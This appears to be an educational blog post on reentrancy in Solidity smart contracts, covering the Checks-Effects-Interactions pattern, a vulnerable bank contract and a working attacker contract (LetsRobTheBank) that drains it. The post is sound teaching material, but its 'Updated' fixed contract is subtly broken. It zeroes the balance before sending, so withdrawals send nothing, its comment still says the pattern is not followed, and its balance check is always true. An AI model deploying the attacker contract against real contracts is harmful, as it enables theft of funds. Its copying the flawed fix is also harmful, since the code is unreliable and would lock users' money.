Reentrancy is a vulnerability that can occur in smart contracts when they interact with other contracts. This vulnerability allows an attacker to repeatedly call back into the vulnerable contract before the current call completes, potentially leading to unexpected behavior and allowing the attacker to manipulate the contract's state.
Contract Interaction: Smart contracts often interact with other contracts on the Ethereum blockchain, either to transfer tokens, update state, or perform other operations.
External Calls: When a contract makes an external call to another contract using the
call
orsend
function, execution is temporarily transferred to the called contract. This means that the original contract's execution pauses while the called contract executes its code.Untrusted Contract Interaction: In a reentrancy attack, an attacker exploits this pause in execution to call back into the original contract from within the called contract before the original call completes. This creates a loop where the attacker's contract can repeatedly call back into the vulnerable contract before the original call finishes.
State Manipulation: During each reentrant call, the attacker's contract can manipulate the state of the vulnerable contract, potentially altering balances, updating permissions, or performing other unauthorized actions.
Unexpected Behavior: Depending on the logic of the vulnerable contract, this repeated reentrant calling can lead to unexpected behavior, such as incorrect state changes, loss of funds, or denial of service.
Example: One common scenario where reentrancy can occur is in contracts that involve transferring funds. If the contract's state is updated after transferring funds but before updating the sender's balance, an attacker can exploit this window of opportunity to repeatedly call back into the contract, effectively withdrawing funds multiple times before the sender's
balance
is updated.
Mitigation
To prevent reentrancy vulnerabilities, developers should follow best practices such as using the "Checks-Effects-Interactions" pattern, where state changes are made before interacting with external contracts, and using mechanisms like reentrancy guard
to prevent multiple reentrant calls during the same transaction. Additionally, avoiding the use of send
and call.value
for transferring Ether, in favor of transfer
or using withdrawal patterns, can help mitigate the risk of reentrancy attacks.
Checks-Effects-Interactions:
Checks-Effects-Interactions are commonly used in the context of software development patterns and best practices, particularly in the Ethereum and smart contract development community.
Checks: These refer to validation steps or conditions that need to be verified before proceeding with certain actions in a smart contract. Checks ensure that preconditions are met before executing critical operations.
Effects: Effects encompass the changes or updates made to the state of the smart contract after certain conditions have been checked and validated. These changes typically involve modifying variables, updating balances, emitting events, or performing other state modifications.
Interactions: Interactions involve communication and engagement with external entities, such as other smart contracts, Ethereum addresses, or off-chain systems. Interactions can include sending Ether, calling functions in other contracts, emitting events, or triggering external actions.
While Solidity itself provides language constructs for implementing these concepts, such as conditional statements (if
, require
, assert
), state variables, and functions for interacting with external contracts (call
, send
, transfer
), the categorization into "checks," "effects," and "interactions" is more of a conceptual framework or design pattern used by developers to structure their smart contracts in a clear and secure manner.
In Solidity, the Checks-Effects-Interactions pattern refers to a best practice for structuring smart contract functions to mitigate certain types of vulnerabilities, including reentrancy. Let's break down what each of these components entails within the context of Solidity:
-
Checks:
- Checks involve validating conditions before executing the main logic of the function. This ensures that the function can only proceed if certain prerequisites are met.
- Common checks include verifying input parameters, ensuring that the sender has the required permissions or balance, and confirming that the contract is in the correct state to execute the desired operation.
- Checks are typically performed using
if
orrequire
orassert
statements to validate conditions and revert the transaction if necessary.
-
Effects:
- Effects encompass the changes made to the contract's state as a result of executing the function. This includes modifications to storage variables, updating balances, emitting events, or performing other state-altering operations.
- It's crucial to ensure that all necessary state changes are made in this phase of the function execution. These changes should accurately reflect the intended behavior of the contract and the outcome of the function execution.
-
Interactions:
- Interactions involve communicating with external contracts or accounts, such as sending Ether, calling functions on other contracts, or emitting events that trigger off-chain actions.
- It's important to perform interactions after completing all state changes to minimize the risk of vulnerabilities like reentrancy.
- Interactions should be carefully handled to account for potential failures, such as handling errors that occur during external calls and ensuring that the contract's state remains consistent.
To illustrate these concepts, let's consider a simple example of a Solidity function:
function transfer(address recipient, uint256 amount) public {
// Check if the sender has sufficient balance
require(balance[msg.sender] >= amount, "Insufficient balance");
// Effects: Update sender and recipient balances
balance[msg.sender] -= amount;
balance[recipient] += amount;
// Interactions: Emit an event to log the transfer
emit Transfer(msg.sender, recipient, amount);
}
In this example:
- The "checks" are performed using the
require
statement to ensure that the sender has sufficient balance to transfer the specified amount. - The "effects" involve updating the
balances
of the sender and recipient in the contract's state. - The "interactions" consist of
emitting an event
to log the transfer, which communicates the outcome of the transaction but doesn't involve external contracts or accounts in this case.
Let's consider another example, this time involving a contract that allows users to withdraw funds from their account balances:
contract SimpleBank {
mapping(address => uint256) public balances;
event Withdrawal(address indexed account, uint256 amount);
function withdraw(uint256 amount) public {
// Checks: Ensure that the sender has a sufficient balance to withdraw
require(balances[msg.sender] >= amount, "Insufficient balance");
// Effects: Update the sender's balance
balances[msg.sender] -= amount;
// Interactions: Transfer Ether to the sender
msg.sender.transfer(amount);
// Emit an event to log the withdrawal
emit Withdrawal(msg.sender, amount);
}
}
In this example:
-
Checks:
- The function starts with a check to ensure that the sender (
msg.sender
) has a sufficient balance to withdraw the specified amount. If the condition is not met, the function will revert, preventing the transaction from proceeding.
- The function starts with a check to ensure that the sender (
-
Effects:
- After the check is successfully passed, the function proceeds to update the sender's
balance
by subtracting the withdrawn amount from their accountbalance
. This modification reflects the effect of the withdrawal on the contract's state.
- After the check is successfully passed, the function proceeds to update the sender's
-
Interactions:
- Once the state changes have been applied, the function performs the interaction by transferring Ether (
amount
) to the sender's address (msg.sender
) usingtransfer()
. This action effectively completes the withdrawal process by transferring funds to the user. - Additionally, the function emits an event (
Withdrawal
) to log the withdrawal transaction, providing transparency and allowing clients to monitor account activity.
- Once the state changes have been applied, the function performs the interaction by transferring Ether (
This example demonstrates how the Checks-Effects-Interactions pattern can be applied in a contract that involves user interactions and state changes. By following this pattern, the contract ensures that critical checks are performed upfront, state changes are accurately reflected, and interactions with external entities are handled safely and consistently.
Attacker's Perspective
Example Vulnerable Contract:
contract VulnerableBank {
mapping (address=>uint256) balance;
function deposit () external payable {
balance[msg.sender]+=msg.value;
}
// Note: The `withdraw()` function does not follows the Checks-Effects-Interactions pattern
function withdraw () external payable{
require(balance[msg.sender]>=0,'Not enough ether'); // Checks
payable(msg.sender).call{value:balance[msg.sender]}(""); // Interactions
balance[msg.sender]=0; // Effects
}
function banksBalance () public view returns (uint256){
return address(this).balance;
}
function userBalance (address _address) public view returns (uint256){
return balance[_address];
}
}
Attack Scenario:
- Attacker: The attacker creates a malicious contract. See below for Attacker's Contract.
-
Malicious contract: Calls the
deposit
function on a vulnerable contract to increase its balance by 1 eth. -
Vulnerable contract: It records the
transfer
and increases the attacker’s contractbalance
. -
Malicious contract: Calls the
withdraw
function on a vulnerable contract to extract everything they deposited. -
Vulnerable contract: Checks if the stored
balance
of the attacker is greater than or equal to 0. - Vulnerable contract: Yes, it is greater than 0 due to the transfer in 3.
-
Vulnerable contract: It transfers the value of the deposited
amount
to the attacker’s contract. -
Malicious contract: When a transfer is received, the
receive
function is called. -
Malicious contract: The
receive
function checks if the bank’sbalance
is higher than 1 eth, if yes it calls thewithdraw
function again on the vulnerable contract. -
Vulnerable contract: Allows another
withdraw
because the attacker’sbalance
has not yet been updated. …and so (6-10) on until all 10 eths are pulled out!
Attacker's Contract:
contract LetsRobTheBank {
VulnerableBank bank;
constructor (address payable _target) {
bank = VulnerableBank(_target);
}
function attack () public payable {
bank.deposit{value:1 ether}();
bank.withdraw();
}
function attackerBalance () public view returns (uint256){
return address(this).balance;
}
receive () external payable {
if(bank.banksBalance()>1 ether){
bank.withdraw();
}
}
}
How to protect yourself against reentrancy attack?
Design functions based on the following principles – Checks Effects Interactions
- First – make all your checks,
- Then – make changes e.g. update balances,
- Finally – call another contract.
CEI pattern will eliminate most of the problems, so try to always build the contract logic based on this scheme. Make all your checks first, then update balances and make changes, and only then call another contract.
Updated Vulnerable Contract:
contract VulnerableBank {
mapping (address=>uint256) balance;
function deposit () external payable {
balance[msg.sender]+=msg.value;
}
// Note: The `withdraw()` function does not follows the Checks-Effects-Interactions pattern
function withdraw () external payable{
require(balance[msg.sender]>=0,'Not enough ether'); // Checks
balance[msg.sender]=0; // Effects
payable(msg.sender).call{value:balance[msg.sender]}(""); // Interactions
}
function banksBalance () public view returns (uint256){
return address(this).balance;
}
function userBalance (address _address) public view returns (uint256){
return balance[_address];
}
}
Use mutex – add nonReentrant modifier
- Use a ready-made implementation of
nonReentrant
modifier. - Add
nonReentrant
modifier to all external functions. - Go through all the functions and if you are sure that the vulnerability does not exist in a particular function, remove the modifier.
Conclusion
The reentrancy bug is a serious vulnerability ("critical") in smart contracts that allows attackers to manipulate the contract's state by repeatedly calling back into the contract before the current call completes. This can lead to unexpected behavior, loss of funds, or denial of service. To prevent reentrancy attacks, developers should follow best practices such as using the Checks-Effects-Interactions pattern, implementing mutex patterns or reentrancy guards, and avoiding making external calls in critical sections of the code. By adhering to these practices, developers can ensure the security and integrity of their smart contracts on the Ethereum blockchain.
For more visit my Github: https://github.com/logesh21n/Solidity-Common-Vulnerabilities
Top comments (0)